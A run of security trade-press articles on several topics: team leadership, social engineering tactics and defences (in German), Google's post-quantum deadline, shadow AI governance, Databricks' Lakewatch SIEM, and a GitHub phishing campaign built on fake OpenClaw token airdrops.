solution. And then ask them to execute it. In subsequent meetings, focus on where you can help. When things go well, give positive feedback and more freedom. Let things fail early, but don’t place blame; focus instead on lessons learned. Once when we were rolling out a well-known EDR tool, I knew the settings weren’t tight enough, nor were the received updates applied fast enough. So I asked two people to own this, come up with suggestions for tightening the screws, and guarantee a successful rollout on multiple OSes in parallel. The phased approach took serious time, but it got us there, and without breakdowns or other hiccups. This instilled tremendous trust into the team as they could see I had empowered and entrusted them, and they responded with improved, mature actions that significantly contributed to the successful rollout and optimization. Set clear goals and expectations When empowering, it’s vital to define specific, measurable objectives aligned with company vision and goals. I recommend the SMART goals methodology — specific, measurable, achievable, relevant, and time-bound — to ensure everyone understands their role and how it contributes to the bigger picture, reducing ambiguity. It’s important to involve your people in this exercise. Make them help formulate the objectives and metrics, ask for their input on timing, and what support may be required. Don’t set non-achievable goals and don’t underestimate the relevancy factor. People want to be part of something that makes a difference. Provide ongoing training and development Leaders should also invest in skill-building programs, workshops, or online courses. In addition to equipping them with the knowledge and tools to excel, leaders must also ensure their people can leverage these learned skills on the job, by applying them. This will not only solidify the training they have completed but also lead to broader, more business-relevant learnings and experiences. For example, a project leader fresh off their PMP certification empowered to execute a huge project with hundreds of dependencies will be better set up for long-term career success, and your company will benefit from it. Delegate authority meaningfully Assign decision-making power to employees at appropriate levels. If your latest technology solution can be implemented without your involvement, assign a direct report complete responsibility and accountability to roll out the solution with a phased approach, and monitor their progress via status reports, while also measuring outcomes. Ultimate accountability rests with you of course, but by delegating authority you can better scale your team’s efforts, contributing additional overall results for your organization. If things don’t work out, keep delegated leaders accountable to solve the problems that arise. If the project involves other functions, ensure via your functional leader counterpart that delegated authorities will work cross-functionally. Foster open communication Encourage two-way dialogue through regular meetings, feedback sessions, and anonymous channels. Keep in mind that different cultures require different styles, and you need to adapt the channel and facilitation to that, especially in international businesses. Employees must understand, however, that these are opportunities for open dialogue not finger-pointing. Encourage innovation and risk taking Create a culture where calculated risks are rewarded, even if they lead to failures sometimes. One way to do that is to implement “innovation time” by setting aside time (say, 5-10% of work hours) for experimentation or improving daily work. Once you continuously require your people to think about and act on improvements, you can see the results quite literally. For risk taking, ensure people understand this doesn’t mean taking just any security risk, but instead encourage them to calculate security risk versus benefits (impact) and likelihoods, and to present — or when fully empowered, to act on — their findings. For example, At risk: $100,000; potential win of $500,000. Likelihood to win 0.5? Then take the risk. Contrary example: At risk: $500,000. Potential win: $100,000. Likelihood to win > 0.5? Choose not to take this security risk without additional controls and preparations. Supply necessary resources Ensure team members have access to the right tools, technology, and support systems. This could mean providing better software, more budget, or cross-departmental collaboration to remove barriers to success. I have teamed in the past with IT, OT, engineering, T&D, legal, HR, compliance, and even sales and marketing to get things over the “budget hump” — shared wins and shared successes will enable strong corporate culture and strong trust relationships. Solicit and act on feedback Regularly gather input via surveys or one-on-ones, then implement changes based on it. This shows employees their opinions matter, closing the loop on empowerment and driving continuous improvement. This last one is not to be underestimated in both value, guidance, honesty, integrity, visibility, and, last but not least, empowerment. You can proudly share meaningful work, growth, autonomy, and engagement scores on your resume. That is a true accomplishment. Implementing these steps requires consistent leadership commitment. Start small, measure progress through employee satisfaction surveys, and adjust as needed for your organization’s context. View the full article

sp3n | shutterstock.com Selbst wenn Sie bei der Absicherung Ihres Rechenzentrums, Ihrer Cloud-Implementierungen und der physischen Sicherheit Ihres Firmengebäudes alle Register ziehen – mit Hilfe von Social Engineering finden gewiefte Cyberkriminelle meistens einen Weg, diese Maßnahmen zu umgehen. Social Engineering – Definition Social Engineering bezeichnet die “Kunst”, menschliche Schwächen auszunutzen, um sich Zugang zu Gebäuden, Systemen oder Daten zu verschaffen. Anstatt zu versuchen, eine Software-Schwachstelle zu finden und auszunutzen, wird ein Social Engineer beispielsweise einen Mitarbeiter anrufen und sich als IT-Support-Angestellter ausgeben, um ihn zur Herausgabe seines Passworts zu bewegen. Der bekannte Hacker Kevin Mitnick hat den Begriff Social Engineering in den 1990er Jahren entscheidend mitgeprägt. Die Grundidee, sich menschliches Verhalten zunutze zu machen und die Techniken dahinter, gibt es allerdings schon so lange, wie es Betrüger gibt. Social Engineering – Techniken Social Engineering hat sich für Cyberkriminelle als besonders erfolgreich erwiesen, wenn es darum geht in Unternehmen einzudringen. Sobald ein Angreifer das Passwort eines vertrauenswürdigen Mitarbeiters erbeutet hat, kann er sich damit einloggen und sensible Daten auslesen. Mit einer Zugangskarte oder einem Code, der physischen Zugang gewährt, können Cyberkriminelle sogar noch größeren Schaden anrichten. Im Artikel “Social Engineering: Anatomy of a Hack” beschreibt ein Penetrationtester, wie er aktuelle Ereignisse, öffentlich verfügbare Informationen aus sozialen Netzwerken und ein Hemd mit Cisco-Logo aus einem Second-Hand-Laden dazu nutzte, illegal in ein Unternehmen einzudringen. Das vier Dollar teure Gebrauchthemd half ihm, die Rezeptionisten und andere Mitarbeiter davon zu überzeugen, dass er im Auftrag von Cisco technischen Support leisten müsste. Einmal eingedrungen, war es für ihn ein Leichtes, auch anderen Teammitgliedern Zutritt zu verschaffen. Darüber hinaus gelang es dem Ethical Hacker, mehrere mit Malware verseuchte USB-Sticks in den Räumen zu platzieren und sich in das Unternehmensnetzwerk zu hacken. All das lief vor den Augen der Mitarbeiter ab. Um einen erfolgreichen Social-Engineering-Angriff zu fahren, müssen Sie nicht unbedingt zuerst in einen Second-Hand-Laden gehen, diese Angriffe funktionieren ebenso gut per E-Mail, Telefon oder über soziale Netzwerke. Allen Angriffsarten ist dabei gemein, dass sie menschliche Eigenschaften zu ihrem Vorteil nutzen – beispielsweise Gier, Angst, Neugier oder auch das Bedürfnis, anderen zu helfen. Cyberkriminelle nehmen sich dabei oft Wochen oder Monate Zeit, um ein Ziel auszukundschaften, bevor Sie einen persönlichen Besuch wagen, eine Nachricht senden oder einen Anruf tätigen. Zu den Vorbereitungen kann beispielsweise gehören, eine Telefonliste oder ein Organigramm des Zielunternehmens zu finden oder die Mitarbeiter über soziale Netzwerke zu recherchieren. Anschließend können Sie beispielsweise über folgende Wege aktiv werden. Am Telefon: Ein Social Engineer könnte anrufen und vorgeben, ein Mitarbeiter oder eine vertrauenswürdige externe Autorität zu sein (zum Beispiel ein Strafverfolgungsbeamter oder ein Wirtschaftsprüfer). Im Büro:“Können Sie mir die Tür aufhalten? Ich habe meinen Schlüssel/ meine Zugangskarte vergessen.” Diesen Satz haben Sie sicher auch schon einmal so vernommen. Auch wenn die fragende Person nicht verdächtig erscheinen mag – das ist eine beliebte Taktik beim Social Engineering. Online: Soziale Netzwerke erleichtern es, Social-Engineering-Angriffe zu fahren. Über Plattformen wie LinkedIn lassen sich schnell und einfach die meisten Mitarbeiter eines Unternehmens finden. Oft kommen noch viele andere Informationen dazu, die unter Umständen für weitere Angriffe nützlich sein können. Beim Social Engineering werden regelmäßig auch aktuelle Ereignisse, Feiertage oder auch Popkultur-Phänomene dazu eingesetzt, Opfer in die Falle zu locken. Dabei passen die Cyberkriminellen ihre Phishing-Angriffe so an, dass sie auf bestimmte Interessen (Musik, Sport, Politik, etc.) abzielen. Das erhöht die Chance, dass die mit Malware verseuchten Anhänge angeklickt werden. Social Engineering – Angriffsformen Phishing-Angriffe (zu denen auch SMS-basierte Smishing– und Voice-basierte Vishing-Attacken zählen) sind oft mit geringem Aufwand verbunden. Das Motto: “Die Masse macht’s”. Im Rahmen von Phishing-Kampagnen werden oft Tausende identischer E-Mails verschickt. Anschließend müssen die Angreifer nur noch darauf warten, dass jemand leichtgläubig genug ist, um auf den enthaltenen Anhang zu klicken. Spear Phishing oder auch Whaling bezeichnet Phishing-Angriffe, die ganz bewusst hochrangige Ziele ins Visier nehmen. Spear-Phishing-Angreifer verbringen im Regelfall viel Zeit damit, solche Ziele zunächst auszukundschaften. Das Ziel besteht dabei darin, einen möglichst überzeugenden, personalisierten Scam auf die Beine zu stellen. Baiting ist ein essenzieller Bestandteil aller Phishing-Formen – und anderen Betrügereien. Es bezeichnet die Verlockung, mit der die Ziele in Versuchung geführt werden – sei es eine SMS, die kostenlose Geschenkkarten verspricht oder eine E-Mail, die Kryptowährungen zu besonders attraktiven Preisen oder gar kostenlos in Aussicht stellt. Beim Pretexting handelt es sich um eine betrügerische Form von “Storytelling”. Die dabei erfundene Geschichte soll das Opfer zum Beispiel dazu bewegen, persönliche Informationen oder Zugangsdaten preiszugeben. Weiß ein Angreifer beispielsweise, bei welcher Bank sein Opfer Kunde ist, könnte er sich als Mitarbeiter des Kundendiensts ausgeben und unter einem Vorwand wie “Zahlungsverzug” versuchen, Finanzinformationen zu erhalten. Business Email Compromise (BEC), auch bekannt als CEO-Fraud, kombiniert mehrere der bislang genannten Techniken. Ein Angreifer erlangt entweder die Kontrolle über die E-Mail-Adresse eines Opfers oder schafft es, E-Mails zu versenden, die so aussehen, als kämen sie von dieser legitimen Adresse. Damit kontaktieren die Angreifer die Untergebenen des Angegriffenen in seinem Namen und ordnen beispielsweise dringliche Überweisungen an. Tailgating ist eine physische Social-Engineering-Form, bei der Angreifer den Mitarbeitern eines Unternehmens ins Firmengebäude folgen. Dazu könnten diese sich beispielsweise als Lieferant oder neuer Mitarbeiter, der den Ausweis vergessen hat, ausgeben. Social Engineering – Beispiele Um ein Gefühl dafür zu bekommen, auf welche Social-Engineering-Taktiken Sie besonders achten sollten, empfiehlt sich ein Blick auf erfolgreiche Angriffe der Vergangenheit. Hierbei konzentrieren wir uns auf drei spezifische Social-Engineering-Angriffe, die für Cyberkriminelle besonders einträglich ausgefallen sind: 1. Etwas Verlockendes anbieten Jeder Trickbetrüger weiß: Am einfachsten ist es, aus der menschlichen Gier Profit zu schlagen. Das bildet die Grundlage des klassischen nigerianischen 419-Scams: Hierbei gaukeln Betrüger ihren Opfern vor, sie müssten hohe, unrechtmäßig erworbene Geldsummen aus dem eigenen Land zu einer sicheren Bank im Ausland transferieren. Dazu bräuchten sie Unterstützung: Gegen die Zahlung vermeintlicher Provisions-, Verwaltungs- oder Versicherungsgebühren könnten die Opfer einen Gutteil des oft millionenschweren Geldbetrags abbekommen, so dass betrügerische Versprechen. Angriffe dieser Art sind seit Jahrzehnten bekannt und eigentlich eine Lachnummer, aber nichtsdestotrotz immer noch eine effektive Social-Engineering-Technik, auf die Menschen hereinfallen: Im Jahr 2007 überwies der Schatzmeister eines dünn besiedelten Bezirks im US-Bundesstaat Michigan einem solchen Betrüger 1,2 Millionen Dollar an öffentlichen Geldern – in der Hoffnung abkassieren zu können. Ein weiterer gängiger Köder ist die Aussicht auf einen neuen, besseren Job: Im Rahmen einer äußerst peinlichen Kompromittierung traf es im Jahr 2011 das Sicherheitsunternehmen RSA auf diese Weise. Mindestens zwei Mitarbeiter öffneten eine Malware-verseuchte Datei, die an eine Phishing-E-Mail angehängt war. Der Dateiname: “2011 recruitment plan.xls”. 2. Fake it till you make it Eine der simpelsten – und überraschenderweise auch erfolgreichsten – Social-Engineering-Techniken besteht darin, sich als ratlosen Mitarbeiter auszugeben. Bei einem seiner legendären frühen Betrugsversuche verschaffte sich Kevin Mitnick Zugang zu den Betriebssystem-Entwicklungsservern der Digital Equipment Corporation. Sein Vorgehen: Er rief bei DEC an, gab sich als leitender Entwickler aus und behauptete, er habe Probleme mit dem Login. Er wurde postwendend mit neuen Logindaten versorgt. Das spielte sich schon 1979 ab – man sollte also meinen, die Dinge hätten sich seitdem verbessert. Das ist allerdings nicht der Fall: Im Jahr 2016 erlangte ein Hacker die Kontrolle über ein E-Mail-Konto des US-Justizministeriums und nutzte es, um sich wie seinerzeit Mitnick Zugangsdaten zu verschaffen. Zwar haben viele Organisationen Barrieren aufgebaut, die diese Art des dreisten Betrugs verhindern sollen, aber oft ist es nicht besonders schwer, sie zu umgehen. Als Hewlett-Packard (HP) im Jahr 2005 Privatdetektive damit beauftragte herauszufinden, welche Vorstandsmitglieder Informationen an die Presse durchstachen, versorgte das Unternehmen die Schnüffler mit den letzten vier Ziffern der Sozialversicherungsnummer ihrer Zielpersonen. Diese Daten akzeptierte der technische Support von HPs TK-Provider AT&T als Identitätsnachweis und händigte den Detektiven detaillierte Anrufprotokolle aus. 3. Autorität spielen Viele Menschen sind daran gewöhnt, Autoritäten zu respektieren. Das wissen auch Cyberkriminelle. Sie spielen sich als Vorgesetzte oder Führungskräfte aus, um an ihr Ziel zu gelangen. So überwiesen im Jahr 2015 Finanzmitarbeiter von Ubiquiti Networks Firmengelder in Millionenhöhe an Social-Engineering-Betrüger, die sich als Führungskräfte des Unternehmens ausgegeben und ihre Glaubwürdigkeit mit gefälschten E-Mail-Absendern unterstrichen hatten. Ein anderes Beispiel: Zur Jahrtausendwende gehörte es für (manche) britische Boulevard-Journalisten zum guten Ton, sich Zugang zu den Voicemail-Konten von für sie interessanten Personen zu verschaffen. So überzeugte ein Journalist den TK-Anbieter Vodafone davon, die Voicemail-PIN der Schauspielerin Sienna Miller zurückzusetzen, indem er dort anrief und sich als “Kollege John aus der Credit-Control-Abteilung” ausgab. Ein weiteres prominentes Beispiel ist John Podesta, Hillary Clintons ehemaliger Wahlkampfleiter, der 2016 von russischen Spionen gehackt wurde. Die Cyberkriminellen hatten ihm im Vorfeld eine Phishing-E-Mail zugestellt, die als Nachricht von Google getarnt war und eine Aufforderung enthielt, sein Passwort zurückzusetzen. Statt sein Konto zu schützen, gab er damit seine Anmeldedaten preis. Social Engineering – Zahlen & Statistiken Allein im Jahr 2024 konnten kriminelle Hacker durch BEC-Angriffe rund 6,3 Milliarden Dollar einstreichen. (Quelle: Verizon DBIR 2025) Smishing macht 39 Prozent aller mobilen Bedrohungen aus. (Quelle: SlashNext) Mit der Einführung von ChatGPT stieg die Zahl der Social-Engineering-Angriffe um 45 Prozent. (Quelle: SlashNext) Mit 17 Prozent aller Kompromittierungen ist Phishing der zweithäufigste, initiale Malware-Infektionsvektor. (Quelle: Mandiant M-Trends-Report 2024) Social-Engineering-Angriffe abwehren Wir haben fünf Tipps zur Abwehr von Social-Engineering-Attacken für Sie zusammengestellt: 1. Security Awareness Security-Awareness-Schulungen sind der beste Weg, um Social Engineering zu verhindern. Nur wenn die Mitarbeiter wissen, welche Gefahr ihnen droht, können sie sich gegen solche Angriffe wappnen. Erarbeiten Sie ein umfassendes Schulungsprogramm, dass zu mehr Sicherheitsbewusstsein führt! Es sollte regelmäßig aktualisiert werden, um sowohl allgemeinen Phishing-Bedrohungen als auch neuen, gezielten Bedrohungen angemessen begegnen zu können. Dabei sollten Sie von einer tiefgehenden Erklärung technischer Schwachstellen und Details absehen und stattdessen Beispiele nennen, die die Methoden der Angreifer in den Fokus stellen. Auch interaktive Elemente wie ein Quiz können dazu beitragen, Mitarbeiter vorzubereiten. 2. Security-Briefing für Mitarbeiter in Schlüsselpositionen Unternehmen sollten Führungskräfte und leitende Angestellte in ihre Bemühungen einbeziehen, da sie für Cyberkriminelle die attraktivsten Social-Engineering-Ziele darstellen. Wichtig ist es auch Mitarbeiter, die die Berechtigung zu Finanztransaktionen haben, regelmäßig über die Gefahren aufzuklären. 3. Bestehende Prozesse prüfen Für finanzielle und andere wichtige Transaktionen bietet es sich an, zusätzliche Kontrollmaßnahmen einzuziehen. Dabei gilt es im Auge zu behalten, dass einige Schutzmaßnahmen, beispielsweise eine Aufgabentrennung, sinnlos werden könnten, wenn es sich um eine Insider-Bedrohung handelt. Eine regelmäßige Risikoanalyse ist zu empfehlen. 4. Neue Richtlinien für dringende Anfragen Sendet der Vorstandsvorsitzende eine E-Mail von seinem Gmail-Konto, sollte das bei den Mitarbeitern Alarmsignale auslösen. Um vorschnelle Reaktionen zu vermeiden, die ins Unglück führen können, sollten Mitarbeiter ein klar definiertes Notfallverfahren an die Hand bekommen und im Zweifel direkt mit dem Absender kommunizieren können. 5. Incident Management Überprüfen, verfeinern und testen Sie regelmäßig Ihre Incident-Management-Systeme. Dazu bieten sich Übungen mit der Geschäftsleitung und den wichtigsten Mitarbeitern an, in denen Kontrollmechanismen und potenzielle Schwachstellen auf den Prüfstand kommen. Social Engineering – Toolkits Es gibt am Markt einige Tools und Services, die Unternehmen bei Awareness-Kampagnen und Phishing-Simulationen unterstützen: Das Social Engineering Toolkit von TrustedSec steht als kostenloser Download zur Verfügung und hilft bei der Automatisierung von Penetrationstests. Zu den Features gehören neben Social Engineering auch Spear Phishing, Fake Websites und USB-basierte Angriffe. Das Social Engineering Framework ist eine weitere gute Ressource. Laut Aussage der Macher enthält es “aktuelle wissenschaftliche, technische und psychologische Informationen” zum Thema. Das Ziel sei es, “eine Informationssammlung für Sicherheitsexperten, Penetrationstester und Enthusiasten zu schaffen”. Das Framework wird regelmäßig aktualisiert. (fm) View the full article

Google isn’t just responsible for the encryption of a big chunk of the communications on the internet. It is also building its own quantum computers, so it’s well placed to evaluate how close the technology is to fruition. Until now, the company has been aligned with the NIST timeline, which specifies 2030 for deprecating quantum-unsafe algorithms and their full disallowance by 2035. But on Wednesday, Google said that 2029 is now the deadline for the migration to post-quantum cryptography (PQC). It also said that it has adjusted its threat model to prioritize PQC migration for authentication services, and urged other engineering teams to follow suit. Quantum computers increasingly powerful Quantum computers are expected to break traditional asymmetric encryption, which is used to secure communications, financial transactions, and websites, once they get powerful enough. That time is coming, says Jordan Kenyon, chief scientist in the quantum practice at Booz Allen Hamilton. “The first version of Shor’s [algorithm] was projected to require 20 million qubits [to break] and recent results have shrunk those requirements down to as a little as around 100,000 qubits.” It’s not just that the hardware is getting better, she tells CSO. There have also been advances in error correction and algorithms. “The magnitude of change is tough to deny,” she says. In 2019, Google estimated that it would take 20 million qubits to break RSA encryption. By May of 2025, Google revised those estimates down to 1 million. And last month, researchers at Australia’s Iceberg Quantum said in a pre-print report that only 100,000 physical qubits were needed. Fortunately, NIST has already finalized four algorithms that should withstand quantum computing, and has selected a fifth. But unfortunately, according to the Post Quantum Cryptography Coalition, most PQC standards have not achieved broad adoption yet. Worse yet, says the Trusted Computing Group, its research shows that 91% of businesses do not have a roadmap in place. In addition, 80% say their current crypto libraries and hardware security modules are not ready for PQC integration, and only 39% have begun their PQC compliance readiness assessments. CSOs can’t afford to watch and wait Google has upped the ante on PQC migration, Michela Menting, an analyst at ABI Research, tells CSO. That means that enterprises will also need to step up their transition plans, she says, “to align earlier than what they might have originally thought was acceptable based on the NIST deprecation timelines — especially if they want to keep pace with hyperscalers.” She expects Microsoft and AWS to set similar migration schedules, and CSOs will need to move their PQC transition plans up the priority list. “It’s not a side project anymore, with an extended time frame that they can just get to whenever they have extra time to work on it,” she says. “They really can’t afford to watch and wait anymore.” According to Google, some data is already being collected by attackers. In a post last month, Kent Walker, president of global affairs at Google and Alphabet, wrote, “Malicious actors are not waiting until a cryptographically relevant quantum computer is ready. They are likely already carrying out ‘store now, decrypt later’ attacks and collecting encrypted data, just waiting for the day when a quantum computer can unlock it.” This means that enterprises need to up their game. According to Gartner, 61% of organizations lack full visibility into their cryptographic systems. The research firm recommends that companies conduct a comprehensive cryptographic inventory, invest in cryptographic agility and visibility, establish a cryptographic center of excellence, and prioritize PQC migration for assets with long-term sensitivity. View the full article

Move over shadow IT; shadow AI is the new risk on the scene. The explosion of available AI tools, leadership’s enthusiasm for the new technology, the push for employees to do more with less, nascent governance and the sheer speed at which AI is evolving has created the perfect environment for shadow AI to flourish. “Every CISO I talk to has discovered some form of shadow AI,” says Andrew Walls, vice president analyst at Gartner. Vendors are turning AI capabilities on in their products, often without communicating that to their customers. Employees are using these embedded AI capabilities, whether CISOs are aware or not. And, of course, employees are turning to AI tools that have either not been vetted or have been explicitly banned by their employers. CISOs might learn about these cases through staff reporting or through tools designed to detect AI use. But discovering shadow AI is just the first step. CISOs need to understand the context in which it is being used, the attendant risks and how to adapt governance going forward. Assess the risk Once CISOs become aware of a specific instance of shadow AI, the first step is to understand the associated risk. “The first instinct is to react. And that’s never a good thing in cybersecurity,” says Olivia Rose, IANS faculty member and founder of Rose CISO Group. “You need to think through your answer holistically and look at the level of risk to the organization before you respond and address the issue.” How sensitive is the data? What is the AI tool provider doing with that data? How is it being stored? Is it being used to train an AI model? “It’s not the AI part of shadow AI that concerns them. It’s the data that’s being provided to an AI by the employee,” says Walls. And the ultimate question for CISOs: Did this instance of shadow AI lead to a breach? While discovering a breach is never the ideal outcome, CISOs aren’t entirely in uncharted waters. Their organizations should have defined incident response plans to follow, even if the breach in question stems from the use of shadow AI. “I’ve managed a number of security incidents and major incidents and data breaches. They’re never the same, even before AI. So, how do you handle an AI breach? Depends on what was breached, how it was breached, what type of data was breached, legal, regulatory impact of that breach,” says Vandy Hamidi CISO of BPM, a tax, advisory and accounting firm. While data breaches are a prominent concern, they aren’t the only potential outcome of AI. “AI risk is not only digital risk, it can become physical very, very quickly,” says Pablo Ballarin, co-founder and vCISO at Balusian and ISACA member. Does the use of shadow AI open the door to operational disruption, wasted resources or safety issues? Answering these questions is also a part of the necessary risk assessment. Understand why AI is being used If CISOs want to manage shadow AI effectively, they need to understand why it keeps popping up. The immediate reaction may be to shut down the use of shadow AI, but there must be more to the response than that. “Our focus is understanding why they’re using it, educating them on the risks of using an unapproved AI tool, identifying whether or not we already have tools in the organization that can meet those needs and then, obviously, redirecting them with a…serious reminder of if it’s not approved for use,” says Hamidi. Employees are likely engaging with shadow AI because it is making them more productive. Could the business benefit from dragging that AI out of the shadows and into the light? Are employees using an unapproved tool because they don’t know that something similar, and already vetted by the business, is available? CISOs at companies that take a more draconian stance on AI may find themselves struggling to manage just how many instances of shadow usage pop up. “If a company as a whole is slow on the adoption curve, it effectively forces the use of shadow AI,” says Hamidi. Shut it down or integrate it Once CISOs have a grasp on the risk introduced by shadow AI and why it is being used, they can work with other enterprise leaders to determine whether to shut it down or pursue its approval for use. If the tool needs to be shut down – if it caused a breach this will almost certainly be the case – CISOs will need to figure out how to get it done and prevent the same use case from happening again. “You have to look at mitigation strategies to prevent recurrence, whether that’s education of the employee, more coherent policy and acceptable use guidelines, or whether it’s a technological fix through some sort of blocking or filtering mechanism,” says Walls. If shadow AI represents a potentially valuable use case for the business, it is time for that tool to undergo a formal review process by more than just the security team. “Our PMO process includes a formal information security review, a legal review, data privacy review. It includes a return on investment as well to see if this tool makes sense. And then it either gets approved or it doesn’t,” Hamidi shares. The use of AI, shadow or otherwise, is a delicate balancing act with risk on one side and benefit on the other. Shadow AI may have a legitimate business use case that is boosting productivity, but if the risk outweighs that benefit, CISOs must protect their enterprises. And productivity may take a hit. “Depending on the risk level of the tool they’re using, sometimes that’s a cost that we have to bear,” says Hamidi. Review and update AI governance Every instance of shadow AI uncovered is an opportunity, even if it does cause a breach. CISOs can advocate for more resources to support the ongoing task of shadow AI management. “Never let a good breach go to waste. You can leverage it to get budget, resources, support for the cybersecurity organization,” says Rose. Regardless of shadow AI’s outcome – blocking or integration – its discovery calls for employee education. Do they know what AI tools are already available to them? Do employees know what is considered shadow AI? Do they know the risks of using shadow AI? That information should be clearly communicated to employees. “If there are not clear guidelines as to what’s okay and what’s not okay, well then, employees are going to do what they think is best,” says Walls. While clear communication is important, so is its delivery. CISOs do not want to create a culture in which employees are afraid to use AI. Instead, they can push enterprises to have clear pathways for employees to introduce potential tools for evaluation. “What I don’t want to do is punish people for using AI for increasing their productivity. If they have legitimate business reasons and they want to use it, we have processes in place for them to get it approved,” says Hamidi. Punishment is not the frontline response to managing shadow AI, but accountability needs to be a part of how the technology is used in an organization. Employees need to understand the consequences of using AI tools: approved and unapproved. They need the training to use AI tools responsibly and a clear picture of what can happen if they continue to turn to unapproved tools. “Work with your HR team to define repercussions for repeat behavior,” says Rose. The committee tasked with AI governance needs to build that culture of accountability; it cannot be solely the responsibility of the security team. “If that responsibility is not clearly assigned to every single person who touches an AI, then it’s very possible that when the blame game starts, there’s no obvious home for it. And the CISO might be in that line of fire,” says Walls. For now, AI governance may require its own set of policies, but Walls anticipates that approach will change with time. “Build the AI policy, build the AI security policy, the generative AI policy, the agentic AI policy and guidelines and so forth. They’re necessary right now but in two to three years they will merge with all other technology governance and become one piece,” he says. Even as AI governance evolves, CISOs will remain at the center of the conversation. Shadow AI is a security risk, and it isn’t going away anytime soon. “Shadow AI, like shadow IT to a certain extent, cannot be fully avoided. It has to be managed,” says Hamidi. View the full article

Databricks has previewed a new open agentic Security Information and Event Management software (SIEM) named Lakewatch that signals its first deliberate step beyond data warehousing into security analytics. The data warehouse-provider is pitching Lakewatch as a lower-cost alternative to traditional security tools, arguing that consolidating security analytics into its data platform can reduce overall spend. “Right now, existing solutions’ (rival SIEMs) ingestion costs force teams to discard up to 75% of their data, so while attackers can use AI to attack anywhere, defenders only see a fraction of their own data. Our goal with Lakewatch is to close this gap… because our lakehouse architecture is uniquely built to handle massive amounts of data cheaply,” Andrew Krioukov, general manager of Lakewatch at Databricks, told InfoWorld. “Unlike other SIEM platforms, we do not charge based on the amount of data ingested or stored, but rather on the compute that security teams use. This allows organizations to achieve up to an 80% reduction in total cost of ownership (TCO) while maintaining years of hot, queryable data for compliance and hunting,” Krioukov added. Analysts, too, agree with Krioukov, but only in part. “The cost problem in SIEM is real. Many organizations often are forced to discard data because ingestion pricing makes full retention prohibitively expensive,” said Stephanie Walter, leader of the AI stack at HyperFRAME Research. In contrast, Lakewatch can reduce costs in some cases, especially if enterprises want to retain large amounts of data, echoed Akshat Tyagi, associate practice leader at HFS Research. However, analysts warned that savings may be less straightforward, with costs potentially shifting to compute and data processing rather than disappearing altogether. “Costs don’t disappear; they shift. If usage isn’t controlled, compute can add up quickly. It can be more efficient, but not automatically cheaper,” said Robert Kramer, principal analyst at Moor Strategy and Insights. Beyond costs, though, analysts say Lakewatch is offering a progressive structural shift in how enterprises conduct security operations, especially analytics. The platform stitches together components such as Unity Catalog for governance and access control, Lakeflow Connect for ingesting and streaming security data, and the Open Cybersecurity Schema Framework (OCSF) to standardize disparate log formats, effectively turning the lakehouse into a centralized system of record for security operations, Walter said. The added context from all the combined data in the lakehouse is also likely to act as an accelerant for helping enterprises automate security operations at scale with agents, Walter added. That said, translating these benefits into near-term buy-in from CIOs and CISOs could prove challenging for Databricks. “This is more likely to complement existing SIEMs than replace them. Early adoption will come from large enterprises already committed to Databricks, especially those seeking flexibility or cost control. It aligns with existing investments but remains new territory for operational security teams. Building trust through proven use cases will be key,” Kramer said. Even so, Databricks is signaling serious intent, with the acquisitions of two cybersecurity startups — Antimatter and SiftD.ai, which analysts say point to its broader security roadmap ahead. “This looks like the foundation of a long-term security portfolio, not a one-off SIEM feature. Acquiring security-focused companies is less about adding features and more about importing credibility. Security buyers trust vendors with domain depth, not just infrastructure scale,” HyperFRAME Research’s Walter said. The article originally appeared in InfoWorld. View the full article

Threat actors are actively exploiting OpenClaw’s viral popularity to run a phishing campaign that targets developers on GitHub with lures of free crypto tokens. According to a disclosure by OX Security, the campaign involves fake “CLAW” token airdrops that promise thousands of dollars in rewards. Developers are being tricked into malicious GitHub repositories and discussions, and eventually redirected to convincingly cloned websites that prompt them to connect their crypto wallets. “The threat actor opens issues in attacker-controlled repositories and tags GitHub users to maximize visibility and reach,” OX researchers said in a blog post. “The linked site is an almost identical clone of openclaw.ai, with one key difference: it adds a “connect your wallet” button designed to initiate wallet theft.” The researchers said that the threat actor created multiple accounts for the campaign and deleted all of them a few hours after the campaign began. Analysis suggested no users have yet been affected by the campaign. GitHub is used for delivery The campaign moves phishing inside GitHub workflows, something not very commonly seen. Attackers created or hijacked repositories, seeded them with attractive content, and amplified reach by tagging developers or engaging in discussions to boost visibility. The campaign uses a social engineering layer, which includes legitimate-looking issues, pull requests, and repo mentions, to bypass suspicion. GitHub was presumably chosen to exploit developer trust, as they are more likely to click through a lure spread within a familiar environment. Victims are first pulled in via GitHub issues that read, “Appreciate for your contributions on GitHub. We analyzed profiles and chose developers to get OpenClaw allocation.” The message is framed as a limited-time token giveaway of $5000 worth of CLAW tokens, directing them to collect the tokens by visiting the malicious site. “We assess that the attackers may be using GitHub’s star feature to identify users who starred OpenClaw-related repositories and target them specifically, making the phishing campaign appear more credible and relevant to recipients,” the researchers added. CLAW isn’t a legitimate token and is being promoted as a new launch in the scam narrative. In fact, OpenClaw developer Peter Steinberger has explicitly said in the past that the project will never issue tokens and any claim otherwise is a scam. Smart, obfuscated malware code According to OX, the malicious phishing and wallet-stealing code is “highly obfuscated” and resides within the “eleven.js” JavaScript file in the repository. The threat actor used “watery-compost[.]today” to host a C2 server to collect information (including wallet address, transaction value, and name) and drain wallets once they were connected. Commands used by the C2 include PromtTx, Approved, and Declined. Additionally, the malware code includes a ”nuke“ function that deletes wallet-stealing information from the browser’s local storage to avoid detection and forensics, the researchers added. The address “0x6981E9EA7023a8407E4B08ad97f186A5CBDaFCf5” was extracted from the code and identified as the threat actor’s wallet used to receive stolen cryptocurrency. The phishing page (“token-claw[.]xyz“) was said to support multiple crypto wallets, including WalletConnect, MetaMask, Trust Wallet, OKX Wallet, and Bybit Wallet. OX researchers recommended blocking the phishing domain from all environments, refraining from connecting crypto wallets to untrusted websites, and treating token giveaway issues from unknown sources as suspicious. Users should also review any recent wallet connections associated with the campaign and revoke all approvals immediately to stay protected. View the full article

